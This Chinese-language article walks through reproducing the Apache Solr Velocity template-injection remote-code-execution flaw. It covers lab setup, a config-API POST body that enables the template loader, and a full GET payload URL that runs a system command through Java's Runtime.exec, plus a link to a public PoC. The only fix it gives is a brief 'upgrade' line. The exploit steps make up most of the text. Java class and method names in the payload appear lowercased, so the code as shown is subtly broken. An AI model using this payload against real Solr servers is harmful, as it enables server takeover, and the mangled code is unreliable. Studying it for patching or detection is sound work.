您好,欢迎访问一九零五行业门户网

Apache Solr velocity模板注入RCE漏洞的示例分析

0x01简介
solr是一款企业级的独立搜索应用服务器,可以通过web服务api接口向外提供服务。用户可以通过http请求,向搜索引擎服务器提交一定格式的xml文件,生成索引;也可以通过http get操作提出查找请求,并得到xml格式的返回结果。
0x02漏洞介绍
solr中存在velocityresponsewriter组件,攻击者可以构造特定请求修改相关配置,使velocityresponsewriter组件允许加载指定模板,进而导致velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。
0x03影响范围
apache solr 5.x - 8.2.0,存在config api版本
0x04环境搭建
安装java8环境,然后下载solr,下载地址:
https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip
下载完成后解压然后进入bin目录执行./solr start
unzip solr-8.2.0.zip
启动会出现一些警告信息,我们可以通过修改bin下的solr.in.sh文件来进行消除,将solr_ulimit_checks设置为false
vim solr.in.sh
然后再次进行启动 ./solr start  root启动失败的话在后面加上加上-force即可
在浏览器访问http://ip:8983,出现以下界面表示安装成功
但是发现不能创建core
我们先手动在/server/solr/目录下创建一个new_core的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到new_core目录下,之后再点创建
0x05漏洞复现
创建好core后访问查看该应用config文件是否可以访问
http://ip:8983/solr/new_core/config
apache solr默认集成velocityresponsewriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过post请求直接修改整合设置,将其设置为true,然后就可以构造特殊的get请求来实现远程代码执行。
使用burp抓取本页面的包,直接构造post请求,加入以下数据
{
  update-queryresponsewriter: {
    startup: lazy,
    name: velocity,
    class: solr.velocityresponsewriter,
    template.base.dir: ,
    solr.resource.loader.enabled: true,
    params.resource.loader.enabled: true
  }
}
接下来我们就可以构造payload来实现rce
payload:
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forname(%27java.lang.runtime%27))+%23set($chr=$x.class.forname(%27java.lang.character%27))+%23set($str=$x.class.forname(%27java.lang.string%27))+%23set($ex=$rt.getruntime().exec(%27id%27))+$ex.waitfor()+%23set($out=$ex.getinputstream())+%23foreach($i+in+[1..$out.available()])$str.valueof($chr.tochars($out.read()))%23end
poc地址:https://github.com/wyzxxz/apache_solr_rce_via_velocity_template
0x06修复方式
更新到最新版本
以上就是apache solr velocity模板注入rce漏洞的示例分析的详细内容。
其它类似信息

推荐信息